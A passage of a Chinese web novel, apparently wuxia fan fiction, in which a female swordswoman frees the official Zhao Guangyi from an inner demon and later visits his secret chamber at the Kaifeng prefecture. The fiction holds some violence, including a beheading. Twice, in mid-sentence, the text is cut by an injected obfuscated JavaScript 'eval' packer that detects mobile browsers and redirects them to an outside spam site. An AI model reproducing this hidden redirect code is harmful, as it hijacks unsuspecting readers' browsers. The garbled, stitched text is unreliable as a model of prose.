不知这璇玑八卦台是不是什么法术,她不敢轻举妄动,看到太岳台下矗立着一个日晷,日晷指针投下幽幽的光。纵然雨幕淋漓,可天光依然存在。日晷所指之处,便是天光所照之方寸。 她转动台面,将青龙眼对上日晷所朝的方向,果不其然,和自己推断的一样。 刹那阴雨短消,一瞬日光绵长。 人间万象,地老天荒。 脚下的八卦台缓缓脱离青石地面,向着太岳台地下降落——那是旷虚幽间。 室内一片昏暗,她点着一张火折子,缓缓扫过前面的璇玑石柱,发现石柱下有压着一封绝笔信还有一封八卦图。 绝笔信写得决绝,颇有毅然决然之感,尤其是那句“朝已闻道,夕死可矣”,让她心中隐隐不安之状更甚。 幼时,寒姨让她抄书,她记忆尤深的便是这句“朝闻道,夕死可矣”。 当年,她因偷偷跑出不羡仙,想找寻办法去开封看看,去江湖走走,却被不羡仙的父老乡亲们抓了回来,扣在寒姨门前谢罪。寒姨气不打一处来,一怒之下,罚她去抄《论语》。 她不甘心回到竹林居,发现江叔又远行浪迹。纵使心中千万艳羡,可她凝视着眼前写下的“朝闻道,夕死可矣”,不禁陷入了沉思。 周红线趴在桌边,赞叹道:“老大,你就这句话,字写得格外好,不再是之前那狗爬字体!” 是啊,这句话,她分外喜欢,当然写得好。 江叔给她讲得那么多生杀予夺的江湖纷争、昙花一现的儿女情长,她就在想,江湖,究竟是什么样子?直到现在,她写完“朝闻道,夕死可矣”后才堪堪明白,人心各异,江湖亦各异。 为何江叔故事里的侠客,穷极一生都无法与“江湖”割舍,拼尽全力却执意要过着刀尖舔血的日子,是无法安分吗?是无法脱离吗,是沉醉于此吗? ——这些都不是。 因为世间众生,心里都有一条“道”。 道是千万道,侠是千万人。 千万个人行走于千万条道上,自然而然也就成了江湖。 千万个人为走到千万条道之终而上下求索,只为了在江湖中完成自己的执念与夙愿,也就是最后所求。求不得就求一辈子,寻不到就寻一辈子,无关名声,叩心而问。 乐极乐而生悲,悲极悲而生怒,怒极怒而生忧,忧极忧而生情。情之所钟者,风雪难同。风雪难同者,如慕如故。 现如今,当她手持这封绝笔信,突然觉得幼时的想法又不对了。 如果侠客所处之地叫“刀剑江湖”,那么,普天之下,还有另一块江湖,那就是王土之江湖,俗称“唇舌江湖”。 或许她不应该对赵光义另眼相看,他所站的位置,若没有手段,怎会站得稳;站稳之后,若没有计谋,怎会站得久? 赵光义所求索的也不过是内心之道,是夕死可矣的朝闻道。 天道文义为我愁,谁堪赋诗濯怨尤。 “老大,你心中的‘道’是什么样子?”周红线那会儿问她。 她摸了摸周红线的发辫,而后望向那茂林修竹,那碧海青天,她突然就明白她为何执意要去江湖,心中之道究竟是何物了? “黎民宁,饥荒消,兵戈止,天下不屈。” 所以,赵光义,你心中的道与我心中的道是否相似? 若不相似,究竟为何能写下这封绝笔信。 她照着八卦图操纵着璇玑八卦台,台面又不断向下,不断向下,不断向下,最终停在了一扇半掩的门扉前。 悄悄推开门扉,忽地寒光一闪,一把镰刀横在自己眼前。她往后一仰,链剑缠住那把镰刀,将其拽于地面,而后剑尖直戳玄元教教徒的心口。 在玄元教教徒尸体倒下之时,她在昏暗的旷虚幽间,看到了她最想见到的一抹影子。 她不顾一切地跑上前,甚至来不及擦拭链剑上的血。她凝望着他恻隐的眉眼,低垂的脸,途中不小心碰倒了一盏油灯,她竟感觉不到疼。 此时此刻,她只想了晓他是否安好。 却听到赵光义嘶吼了一声:“小心! 10. 金错刀,侠骨香(五) 第十章·金错刀,侠骨香(五) 还未缓过神来,那白衣身影就被一袭暗蓝色身影挡得密不透风。 她止住脚步,打量着身前这位头戴兜帽,左手持罗盘,右手执着镰刀的玄元教之人。此人只露出白皙的下半张脸,上半张脸被兜帽挡住,令人看不清他的眉眼。只见他一挥镰刀,一把星辉救散在她的眼前。 周围的一切皆都黯淡,唯有眼前的星辉,心中的飞霜。白衣身影悄然消失,一袭暗蓝若无其事矗立于她的眼前。 那人问她:“你来救他?” 链剑垂于地面,被她再次握紧,她咬紧牙关,恶狠狠地道:“是又如何?” “劝少侠还是别救他了......”那人叹了口气,故作悲哀地道,“赵光义......不值得救。” “是吗?”她反问,“哪怕不值得救,我也不愿看他置于死地。” 那人好似料到她会这么回答,偏偏没有回应,而是踱步走到她的身后,举起手中的罗盘。那人指尖轻点罗盘,须臾之间,便一指落在她的眉心。 她来不及躲闪,身体便一阵晕眩,意识模糊不清,晃晃悠悠、迷迷茫茫走向那罗盘。在罗盘投射下的一汪银河中,她眉头紧皱,不适感蔓延全身,再睁开眼时,眼前的光景远比旷虚幽间更加明媚,远比开封城更加富庶。 将目光转向一旁的铜镜,镜中人并非她自己,而是紫衣官帽的赵光义。这时,她才明白过来,在玄元教的迷障中,她住进了赵光义的心里。 屏障外似还有人影言语之声,她轻捻着脚步过去,背靠着屏风默默地听着。 “现如今中原平定,若想使宋堪比前朝,该如何行走?” 她听出来了,这是赵大哥的声音。 “内定后位之人,外惩乱伐之贼。”蒲先生的声音道。 这一刻,她才明白,所谓的赵大哥,所谓的蒲先生,不过是另一重身份罢了。赵大哥就是赵匡胤,蒲先生就是赵普。她心下有些烦闷,雪夜在蒲先生的宅邸中就有过这等怀疑,但一直未敲定,谁能料到,现如今竟以这种方式,揭穿了二人的身份。 赵匡胤问道:“内定和外惩,哪个更易得之?” 赵普道:“内定更易得之。” 她微微侧目,看到了赵匡胤举棋不定的纠结模样,而赵普反倒更为胸有成竹。 他趁着赵匡胤犹疑之时,缓缓开口:“二弟心性刚烈,纵有前车之鉴,也并非合适人选。” 这么多年来,赵匡胤救赵普于窘困之际,可谓共患难,于水火之天下情谊,赵普自然是足够了解赵匡胤的心思为何会百转千回。而今,赵匡胤已将赵普过门,对赵普也极其信任,见赵普这么说了,他也有些动摇。 “二弟办事激进,难免会碰到难啃的硬骨头。”他叹了口气,“娘亲早时便道,让光义跟着你走,这可是没走上道?” 赵普怔愣片刻,才悠悠启唇:“二弟手不释卷,难能与我苟同。言归正传,陛下孩儿渐长,可先立太子,再料理二弟一事。” “为何光义不行?”赵匡胤抬手扬言,“我看光义步履素快,可是帝王之相。” “帝王之相,紫微星劫......”赵普叹了口气,“无论两者,二弟都不是合适人选。若陛下真想百世流芳,何妨不试一下德昭?我看德昭玉骨有成,日后前途光明,锦绣生花。” 赵匡胤:“普兄好言,只是这京尹一事......普兄可有想法?” 赵普建议道:“这好办,只许给光义封尹,切莫封王。” 她躲在屏风之后,却觉体内或者说是心口,残存着另一股念想,这股念想,竟与她对绣金楼的念想何其相似。她的脑海里似有另一个声音,那是赵光义的声音,那是赵光义回荡在体内、心口的声音。 她听得分外真切,耳濡目染。 赵光义道:“凭什么!” 又一句:“凭什么‘只许封尹,切莫封王’?好笑,大哥都让他坐上监国之位,赵普......赵普他何德何能都坐不上......赵德昭从哪个方面讲,都配不上自己!” “不......不......我赵光义,不仅是为开封府尹,还要成为那高高在上的晋王——不对,不对,这还不够,我要站得比天地还高,比日月还远,我要让诸位君臣皆为我臣服——” 一句又一句的怨念,吵得她头昏脑胀,她低吼一声,不小心撞上身后的屏风,下一秒,不知是赵普还是赵匡胤,说了一句“何人”,一把利剑就挡在自己的额间。 眼前的景色倏然一变,天地血月,人间黯然。 近来黄河决堤,中原地区闹饥荒,灾民不断,四处乞讨,民不聊生,生灵涂炭。一灾民立于她的眼前,双膝跪地,不断乞求:“求求大侠,求求大侠放过俺吧,俺娘已经三天没进米了,俺实在无能为力啊!” 她看着那些灾民,于心不忍,忙抬手上前,想扶灾民起来,告诉灾民,你们不用这样子,可身侧这手却如灌了铅一样,格外沉重,举都举不动。后知后觉,她才想起来,她现在这具身体,是赵光义的身体,而且她对这具身体已再不像先前那般拥有自主权了。 赵光义让她全权听命于他。 赵匡胤身着布衣,拿出一包米袋子,放到那灾民的手中:“拿去给你娘吧,别再有下次。” 下一秒,这具身体却发出了抗议:“哥哥!” 赵光义童稚之时,赵匡胤已及弱冠之年。 赵匡胤抬手揉了揉赵光义的头,将他头上所簪的花取了下来:“我没事,我真的没事。” 灾民见了米,双眼放光,不由得热泪盈眶,连忙匍匐在地,不断磕头:“好!好!好!恩人的大恩大德,小的一定报!” 她见到此情此景,正觉赵大哥真的是人中龙凤,好一番热心肠,正想赞扬,而这具身体却先开了口:“哥哥,你就这样放了他们?” 说着说着,赵光义语气哽咽,他抬手揉了揉双眼,擦干了眼泪,一把夺过赵匡胤手中的红花:“今天我们能活下来,是因为哥哥比他们一群人都厉害......可是......可是......哥哥要是打不过他们呢?” 赵匡胤叹了口气:“心存善念,才得以渡人。渡人亦是渡己。” “不,哥哥,这不是渡人,那帮人不配得到哥哥的善!”赵光义愤懑地道,“哥哥,今日你放了那帮山匪,明日那山匪就会反过来杀了我们!山匪既大劫我们,山匪从不是灾民,他们是恶人,恶人就应该得到惩罚!” “匡义,他们是因为生活困顿才被迫成了恶人,若今日渡他们一点善,他日才能存伪义念。”赵匡胤解释道。 “哥哥,对坏人好,就是对好人坏啊!”赵光义道。 那一刻,她微微一怔。她突然理解为什么赵光义会走到今天,他所走的每一步,不仅是对生金瓯聚宝盆的探查到底,还是对淮北军镇李平远将军生死不共,都是因“对坏人好,就是对好人坏”这番文辞。 正微蹙眉头,另一个更为成熟的声音,那是属于京尹赵光义的声音,只听他戏谑地道:“替好人执刀的恶人,和劝恶人放下屠刀的好人,是你,你要做哪一个?” 她既能理解赵匡胤的选择,也能同情赵光义的批驳。 可若是她呢?她面对这种事该如何抉择? 恶人,好人......起初,这世道上并无好恶之分,一切皆是人事作弄。她听到残存于心口的声音,那声音一直在低吟:“恶人......恶人......恶人......” 不可能。 她不能让赵光义成为那恶人,他是开封府尹,他是天潢贵胄的宋室,他是青云直上的权臣。他以后会垂名青史,他若成了恶人......不......她不能让赵光义被后人唾弃,她要让他千秋万岁。 “好人......好人!”她大喊道。 声音响彻云霄,几乎用了她全部内力,击溃心口的魔障。 “好人?”心口的声音冷笑一声,“善恶一念之间,烟云尔尔。若灾民恩将仇报,你还觉得做个好人才是坦荡的吗?” 她反问道:“你又是谁?你在指使我什么?” “我啊......你聪慧过人,不如猜猜看。”那声音戏谑地道。 她欲要反驳,却被另一个声音打断:“滚!都给我滚!忘恩负义的狗东西!” 赵匡胤说得不错,那山匪果真上门来报恩了。只是这个恩,并非真心,乃是邪念。此时,赵匡胤奄奄一息地躺卧于地面,赵光义手持长刀撑在一旁,纵然气喘吁吁,依然初心不改,一脸仇恨地望着那灾民。 “哈哈哈......瞧瞧......瞧瞧......咱们的小恩人死到临头,还乱发脾气呢!”山匪趾高气扬。 “你们无耻!”赵光义大喊道。 那山匪将弯刀架在双肩之上,一脸不屑:“无耻?贵公子也不看看我们是什么出身!我们一群山匪野盗,无耻惯了,那就不是耻了,那是我们的尊严!” 说罢,赵光义低吟一声,持着长刀就上前一挥,奈何体力不支,被那山匪弯刀一挡,又重重摔在地上。他“呕”的一声,咳出一口鲜血。 “大胆,只是这刀,小恩人现在可还能举得动?”山匪讥讽道,一掌拍在赵光义的脸上,“小恩人,别怪俺,要怪就怪你心太善!” 心中的声音开口:“阿原,你可后悔救了他?” 后悔? 不可能的。 世道不平,江河日下。人间太凉薄了,一点善可让人劫后余生,一点恶可让人改邪归正。有时,她越来越混沌,想起绣金楼火烧不羡仙那日,自己是否也曾后悔放周红线去破阵?不,她并不后悔,因为不羡仙的屠戮只是人祸,并非天灾,所以,周红线的死,只是一念之间,并非因果轮回。 她不后悔。 同样,她也要告诉赵光义:“那日的选择,亦不要后悔。因为再没有什么选择,能抵得上现在所走的路。” 她深吸一口气,再度开口:“赵光义,我不管你要走什么道,只要你够忠,够勇,哪怕是鬼门关都能改天换日成阳关绝。” “鬼门关变阳关绝?你倒是一番好手,但这世间多的是白骨成灰。错误之择,后果难堪。正确之择,却千金难换。”心中的声音继续道,“不悔......我何德何能不后悔......大哥和赵普说要南征,那我只能退而求其次。唐钱一策,并非一朝一夕就能了结。他们责备我操之过急,激起民怨,可......这是我的错吗?自古以来,财政之难本就大头......” “你所做之事,苟且一瞬,福泽万年。永远不要后悔。”她劝说道。 “是吗?”那心口的声音迫使赵光义举起手中的刀,做了一个挥砍的手势,“你看,挥刀没那么难。” “你是谁?”她和赵光义异口同声地道。 “我?”心口的声音说,“我,就是你啊!” 赵光义却丝毫不慌,反而直起身子,手握长刀,冷哼一声:“我不信。” “我若不是,我如何听到你的心声,你又如何听到我的话语?”心魔嘶吼一声,她只觉得浑身上下血液都沸腾起来,一股不由分说的邪念从脚底一直窜到头顶,撑得她难以忍受。 脑海里天人交战,她能感受到那心魔正一点一点吞噬赵光义的神情意识。她能听到心魔居高的声音,也能听到赵光义一而再再而三想将其盖下去的声音。 最终,心魔还是战胜了赵光义。 “兄长,法不容情!猎人手中的刀不杀豺狼,羊群该怎么活?” 赵光义举起手中的长刀,她望着被捆缚着的山匪,想着阻止,却无济于事,她根本控制不住心魔的侵蚀。 她只觉得不公。山匪虽恶,但恶极深处存一善,保民而王,制民之产,何尝不是一种教化?山匪是可恨,却不可杀,倘若真的斩首于这把长刀之下,又怎能渡人亦渡己? “赵光义,不可!”她喊道。 可话语罢了,心魔手起刀落,那山匪的头颅直直地摔于地上。 “纵虎归山岂是慈悲,明明是......”心魔抓住山匪蓬草般的头发,将其高高举过头顶,那山匪的血液就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495620|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么砸在他的双肩上,徒然像平添几抹义不容辞的责任,“伪善啊!” 他狠厉扔下山匪的头颅,又抬脚踩住山匪的脸,蹂躏不成样子,甚至还拿长刀在山匪脸上划了几个道子。 心魔满手污血,抹了一下眉骨,刹那闪出红光,惹得她毛骨悚然,却无能为力。 “怜恤恶徒,便是操刀杀人!除恶务尽,才可一匡天下!”心魔眼神恶狠狠地盯着山匪狰狞的遗容,可她却在山匪刷白的脸孔中,看到了她的身影。 “紫薇星,举起刀,杀了他!”下一刻,心魔手举长刀,刀尖指向一旁奄奄一息的赵匡胤。 怜恤恶徒,便是操刀杀人! 这是千古罪人的枷锁。 除恶务尽,才可一匡天下! 这是万世明灯的戴冠。 可赵匡胤并非恶徒,亦不用斩尽。她心道不好,而赵光义也惊呼一声,心魔吓了一跳,手中的长刀也跟着哆嗦一下。 “不行,不行,不行,那是大哥......”赵光义捂住额头,才发现额头满是血污和冷汗,一手黏腻,“那是手足之情,我不能!” 心魔见身体主权被夺回,很不甘心,语气也变得阴恻:“是你不能,还是你不敢?嗯?大哥都这样了,身上身下皆无利器......赵光义,今日这把刀握在你手中,你只要杀了他,日后的荣华富贵——” “我不能!若不是大哥一统中原,哪还有大宋,哪还有我、赵光义?!” “你不是一直想被封王吗?今日我封你为王,你便是大宋明君,哪还有你大哥的事?!” “不可以!” “你今日是来应劫的,破了劫,你就是紫微星!”心魔开怀大笑,“紫薇星,九州四海,万国朝拜,盛世太平,这不是你一直想要的吗?不仅如此,紫薇星,你还会被后世赞颂,可得永岁,世世不落幕!” “这些你不想要吗?” “杀了他......” “杀了他。” “杀了他!!!” 她以中气十足的声音抗议道:“赵光义,不要听心魔的话!” “杀......杀......” 她能感受到手中的刀被难以言说的强大力量控制,强大到令她都难以剥夺这把刀。她眼见着心魔迫使赵光义斩碎赵匡胤的幻影,情急之下,只好先对赵光义说了句“对不起”,紧接着在长刀离赵匡胤的脖颈只有一步之遥时,她拿出那把链剑。 那长刀的攻击被链剑挡住,心魔眼看计谋难成,只好显出真形。头戴抹额,身着白衣,好一副世家公子样,知书达礼,文质彬彬,只有她知道眼前的人并非赵光义,也不是晋中原。 “杀不得一人,如何救天下人?”心魔低吟一声,不过转瞬之间,那长刀就横在了她眼前。 她举起赵光义的链剑,缓步朝心魔逼近,而后道:“可是......杀死那人,天下人就能得救吗?” 翻转手腕,内力流转,她将真气运到链剑之上,一瞬链剑燃火空升。她脚步轻点,转眼腾空,怒吼一声,扭转身子,链剑直朝心魔挥去。 心魔侧身一躲,长刀反向伸出。链剑随后上挑,走笔龙蛇般缠住长刀,反向推拉,那长刀脱力,在落于地面之前,被她紧紧地攥在手中,弹指之间,化为飞灰。 心魔一下慌了神,她抓住时机,脚步翻腾,链剑直直地刺入心魔的胸口。 震天怒海,地崩山裂。 剑气划破尘世三千,划破逆羽尘埃,在离赵光义瞳孔只有一寸时,刹那止住了动作。她凝望着他的眉眼,道:“赵光义,救不得一人,如何能救天下人——” 赵光义跪坐于地,玄元教的袭击,心魔的侵蚀,本就让他万念俱灰。他苦苦地困于黑暗之中,心里却想到她。赵光义从不寄希望于别人,那一刻,在他身陷魔障时,却难得记得了她的种种。 直到他看到那扇半掩着门被推开,听到了那句“赵光义”,他甚至都不相信他自己的眼睛。 她为何会来? 可她还是来了。 直到她一剑斩破他的心魔,直到他看到那张明媚的脸,飒爽的眼,仿佛岁月流转千年,终于在找了个罅隙,得以休憩片刻。 真是奇怪,明明寥寥几步,却总觉有一尾丘壑......他抬头凝望着那身影,像是行过山高水远,乘风而来,走了万年,才来到他的人间。 山水疏狂,傲骨无双,许她无限风光。 人间万象,莺飞草长,知他地老天荒。 “少......少侠......”赵光义喃喃道。 她将链剑轻柔地放到他的身侧,而后双手叉腰,居高临下地道:“愣着干什么,赶紧让太医署为你疗伤啊!” “此番......多谢......”赵光义捂着心口的上,摇摇晃晃地站起来,奈何体力不济,他重心不稳,重重地往前倒去。 她情急之下,连忙上前一步,双手抱住了他宽阔的脊背。 两人都怔愣片刻。 风雪漂泊多年,他终于落入了辽阔人间。 只听他俯于她耳畔轻轻一笑,如春风化雨,和煦温柔:“少侠,今日之事,何苦点破?心魔也好,星劫也罢,所谓是非善恶,从来不过一念之间。从前有些话,我从不与他人所言,而今我想对少侠说,一念济渡众生,一念亦可万劫不复......不过,世间太多恩怨,怕一时理不清,倘若有天,我明了了,或许真可以同少侠所说的那般——” “哪般?”她好像意识到什么一样,收起怀抱,往后退了一大步,再一大步。 赵光义注意到她的举动,没有恼怒,只是微微一笑。 她从未见过他如今日这般笑颜,像是卸下了千斤坠的担子,像是愚公终于移动了山——那样纯真,那样烂漫,那样滚烫。 “少侠自会知道。”赵光义解下腰上挂的玉佩,追上前一步,隔着衣服布料拉起她的手,将玉佩放入其中,“明日可持此玉佩到开封府,我会将报酬亲自送给少侠。” “保重。”赵光义难得收起孤傲,朝她拱手作揖。 11. 金错刀,侠骨香(六) 第十一章·金错刀,侠骨香(六) 考虑到明日与洛九的约定,她从不做食言之人,这份报酬必须尽早取完,越快越好,顺便......她摩挲下颌,把解药从赵光义身上捣鼓出来。 待她从旷幽虚间出来,赵光义已经没了踪影。也罢,他受了这么重的伤,还是先回府静养好了。 天色还早,日头还未归至西边山头。她循着山路,打算去香火正旺的建隆观游览一番。进了建隆观,她先奉了几炷香火,心里将要带给寒姨和江叔的话朝佛祖听了听。江湖路远,天地壮阔,清河和开封不过数里,她也见到了不少人间美景。 如果,寒姨和江叔知道,应该会开心吧。 她虔诚跪拜,却未料到一人正立于她身旁。睁眼瞬间,便看到了山下救下的算三春。算三春等她跪拜完,从衣袖里拿出两块玉佩,上面分别为“匡”“义”二字。 “我身负重伤,不方便送。少侠若是有时间,可将这玉佩送至南衙。”算三春道。 听罢,她接过玉佩,从口袋里拿出赵光义给她的玉佩,果真是不一样。赵光义给她的玉佩可是开封府的通行令牌,而算三春给她的玉佩,当可是赵光义自己的玉佩。 “南衙?”她反问道。 算三春拱拱手:“正是,我家公子白日在开封府奔忙,晚上就在南衙歇息。若开封府案子过多,他也会择几日住府里。” 原来赵光义是有地儿住的人啊。 想到那日雪夜,赵光义替自己疗完伤,就匆匆回了开封府,导致她一直认为赵光义平日就住开封府里。不愧是官家子弟,是她小瞧他了。 她将这些玉佩小心翼翼地收起来,而后对算三春承诺道:“你放心,我一定‘完璧归赵’。” 算三春点点头,落下一句:“那我便在南衙等少侠。” 行色匆匆,来去无踪。 看着那香渐渐烧完,她也起身跨出建隆观的门槛,映入眼帘的是西沉的日头,巡天遥看一千河的瀑布,以及水色朦胧处,端坐着的一个人影。眼前的光景令她目不暇接,她难以想象,在人烟熙攘、摩肩接踵的开封城外,还存在这样一处地儿,像规避了世俗的三千红尘,像消解了官场的狼子野心。 “福生无量天尊,贫道等一位有缘之人。”那人影蓦然开口。 原来是位小道士。 她走上前,心想来都来了,何尝不算,万一......万一真算到江叔和寒姨的下落,也很无价。总之,她一直秉持着“既来之,则安之”的江湖道义,路见不平拔刀相助,又或者怀揣着“世上无难事,只要肯登攀”的决心。 “有缘人?”她端坐在小道士的身旁,缓缓启唇,“贫道认为,何为有缘之人?” 小道士抬眼打量了她一番,而后说:“风吹幡动,莫不是缘木求鱼。” “少侠,方才在建隆观,可有看到那经幡?”小道士轻柔一笑,“世人皆道建隆观很灵,殊不知不是建隆观有神庇护,而是凡夫俗子心有灵犀罢了。” 檐下无风,而道观中垂落的经幡却无风自动,烛火也随之摇曳。她想到跟香火和神灵讲完江叔和寒姨的故事后,她微微合眼,似有经幡温柔地扫过她的眉眼,微濛时,她只感到手中握着的香火抖落一身香灰。 “心有灵犀......”她笑了一下,“我不懂,不如贫道为我算上一卦。” “少侠算的是第二百七十二签:乾宫,循变同人。急起行,急起行,前途去,结同盟,只手擎天柱,史册好标名。”话音未落,小道士看到她放于腿上的布包,询问道,“敢问少侠,这是何物?” 她解开布包,将三块玉佩一一放置小道士的眼前。她觉得这三块玉佩,一定与算卦的结果相关,于是不由分说地递了过去。 小道士仔细端详着玉佩,看到上面写着的字,接着意味深长地道:“少侠不是不懂何为‘心有灵犀’吗?现在,贫道能告诉少侠,他便是同少侠心有灵犀之人。” “他?”她一度怀疑小道士是不是哪里来的招摇撞骗的江湖骗子,不然谁看到这三块玉佩都知道其主人姓甚名谁,是谁都能说出这番话。 她和赵光义心有灵犀? 太不可能了。 她瞪大眼睛,有些话呼之欲出,又飞快地闭了嘴。小道士一脸坦然正经,显然不像是故意戏弄她的人。 “你和这位公子十分有缘。”小道士将玉佩重新包好,还给了她。 “为什么?”她急了,想为自己辩解,“我和这位公子......不过是匆匆一面之缘,而且公子性格不好,脾气暴躁,想必同我水火不容——” “少侠,天机不可泄露。”小道士点了点头,遂起身,拍了拍道袍上沾染的灰尘,“同是天涯沦落人,相逢何必曾相识。你来人间走一遭,也该留下些什么......公子心性难捱也罢,同你刀戟相向也罢,遇见了相知了,那便是缘分。天涯相会,又岂在朝朝暮暮?明日你如鹊鸟高飞,他日他变化为青木。鹊鸟栖青木,天为比翼鸟,地为连理枝。” 说罢,只见眼前水色再度洗涤开来,不过一眨眼的工夫,那位小道士也消失不见。唯独方才的那句话,萦绕在她的脑海里,不曾停息。 她来人间走了这么一遭,亲数离的离,散的散,好像什么都没留下。又好像也留下了什么,她会在很久以后才能知道,她真的留下了什么。 留下了一抹身影,深深地烙印在某人的心间。 任凭千山远阔,他依然步履相依。 * 她运起轻功,加快步伐,行至开封府。府中闭门,侍卫把守,看管森严。她还是来晚一步,开封府已经下班了。她叹了口气,想着还是先回一趟瓦肆,跟洛九说一声,此钱后日再还,便起身离开。 刚想离去,只听身后传来一阵脚步声,似乎还有马蹄踏破平地的声响。 闻声回头,她看到算三春立于车下,挑开车帘,赵光义同算三春对视一眼,抬脚上了马车。 “等一下!赵光义!”她快步上前,在算三春诧异又惊恐的目光下,进入车内,一把拉过赵光义的衣袍,将其拉下车。 赵光义在提心吊胆一日,精神本就倦怠,他进了马车还未坐稳,就听到马车外传来一阵洪亮的声音,大喊他的名字。他心里骂这个人不知礼数,打算让算三春将其一刀斩了,可他竟觉这声音分外熟悉。 直到她跳入车里,二话不说拉过他胳膊,他整个人脸色不好,甚至还叫嚣着:“不知礼数,若是被旁人见了,当真是败坏开封府名声,毁本官为人之清白。” 而她若无其事地摆摆手,潇洒地道:“错了错了,忘了你现在身着官服,不方便喊你大名,倒喊你一声‘赵大人’可否?” 闻言,赵光义眸色黯然一瞬,算三春抱臂站在一旁,用警惕的目光提醒她,却被赵光义抬手拦下了。 “好了,算三春。今晚本官暂住开封府,让他们去南衙歇息吧。” 赵光义说罢,朝他使了个眼色,算三春虽然不解,但还是用钥匙开了开封府大门,侧身靠着门扉,目送着赵光义和她进入府中。 “算三春,那玉佩我一并给赵大人便好。”她对算三春笑了笑,“今日之事,实在是麻烦你了,还专门在山脚等我一程。” 她笑起来很好看,唇角上扬,像是点燃满山的春色,平地起风波般,卷起不知几分的光阴蹉跎。算三春凝望着她,眼波流转,世道如注,好似浑身上下的担子顷刻灰飞烟灭。 “少侠是在下的救命恩人,要说麻烦,也是应该的。此恩重大,来日在下一一还谢。”算三春抱拳,转眼又盯着不远处的赵光义,察觉他脸色不太好,语气带着点担忧,“京尹大人,在下告辞。” 目送着算三春带着车马离开,又锁上开封府的门,赵光义这才将心里那口气吐了出来。又看到她望着算三春离开之地,久久移不开眼,那口气好像又杀了个回马枪一样,令他气不打一处来。 “少侠方才算三春所说的‘恩情’是何物?”赵光义脸色不好,语气也不善,听着戏谑怪气,令人心神不定。 她回过神,朗然开口:“算三春在山下受了伤,我会点悬壶医术,帮他治疗一番。” “是吗?”赵光义背着手,不知是有意还是无意,自顾自地道,“少侠好像很喜欢交朋友。” 听出了讽刺的意味,但她今日心情大好,“夜袭”京尹大人的车马还没被送去牢狱,实在是运气眷顾,就权当是褒义了:“诶,本少侠天生笑脸善心,自然人缘好。哪像京尹大人,每天摆着一张冷脸......” 她来开封府没多少次,也就前日陪付温书做了个笔录,再同李公明争执片刻。乘着月色,她跟在赵光义的身后,随着他的脚步,穿过抄手游廊,再从旁侧的拱门中,穿过屏风,再走过长廊,下了台阶,就到了潜龙殿。 潜龙殿是赵光义平日所处理公务的地方。推门而进,案几上还摆着堆积如山的文书。也对,他在太岳台流落整整一天,回来又得沐浴疗伤,这文书本就处理不完。更何况,开封每天大大小小的案子接连不断,送至开封府的文书更是络绎不绝。 赵光义本想回南衙歇息一晚,明日早点来府里将这些文书处理完,哪知她误打误撞送上门,当机立断朝他讨要报酬。他知晓她性子急,不爱耽搁,恰好“今日事,今日毕”一直是他的人生格言,于是他松了口。 两人站在一机关锁面前,赵光义环顾四周,再灵巧打开机关锁,而后朝她勾勾手,她便跟着他进了密室。 “想不到开封府还有这个地方!”她惊呼道。 “少侠,这个地儿切莫与你那些朋友说,这是你我二人之间的......秘密。”赵光义眸色如剑,提醒道。 听到“秘密”二字,她的脚步不由得一顿,想起之前和周红线也定下了不少秘密。 周红线年岁尚小,不懂得“秘密”的重量,她问她:“老大,‘秘密’是什么?” 她那时怎么回答周红线的?好像是说:“‘秘密’是只有亲密的人才会拥有的!” 她一个江湖游侠都懂得的道理,她不信饱读诗书的文臣赵光义不懂。但她还是在停顿时,做好了“装不懂”的准备。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495621|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的境遇天差地别,或许理解的“秘密”并不一样。 “秘密?敢问京尹大人,‘秘密’是什么?” 赵光义回首,凝望着她,他一时间觉得她在同他演戏,他不信一个江湖人士,如果连“秘密”都不知道,那该如何混迹天下?可讥讽的话刚到嘴边,他又想起在旷虚幽间,是眼前的少侠,一剑破开他的心魔,让他对这凉薄世间有了些许改观。 如此天真烂漫,或许对待“秘密”二字,应当不会像他的初衷那般,血风腥雨。 只听他沉静地道:“唯有亲密无间者,当以衡量,誓以承担。” 往密室深处走,火光幽幽,一把修长锋利的长刀横在刀架之上,墙壁上还挂着一幅巨大的舆图。 赵光义目光从不藏拙,仰头久久凝视着那巨大的舆图。她顺着他的目光看去,视线停在中原以北之地。 “那个地方,曾是我们的。”赵光义喃喃,若有所思,“石敬瑭拱手相送,这一送,又是多少年过去,不知归期......若是这地儿还是我们的,或许一切都会大不同。” 那个地方——燕云十六州。 “幼时,大哥在军营用枪指着日头偏西之地,北望许久,不仅是大哥,军中那些士卒皆如此。大哥说,燕云十六州是汉人的故乡,他们从军的,就是要将离散的汉人归家。那时,我对家国存亡还停留在一个表面,大哥惆怅,我也跟着伤春悲秋。再长大一点儿,我便没再悲观了。那是十五年前,辽人屠城,大哥和爹去前线,家里就我最年长,我和娘举刀,对往来的辽人见之便杀——那是我平生第一次举刀。后来,爹再听闻,已到临终之时。他把我叫过去,将这把刀赠予了我。” 说罢,赵光义举起那把完美的刀,刀身明朗澄澈,照映着他锋利的眉眼。 她轻声问:“就是这把刀?” “嗯。”赵光义说,“此刀甚好,只可惜差一刀鞘。爹去世后,我曾派人去寻,报酬是千金,却一直未果。而今,我也算是找到了这刀鞘。” 她恍然大悟,想起李平远死时,怀中抱着的那抹金光。一时间手忙脚乱,终于在包袱里找到了这个刀鞘,她将刀鞘拿出来,赵光义顺手接过。 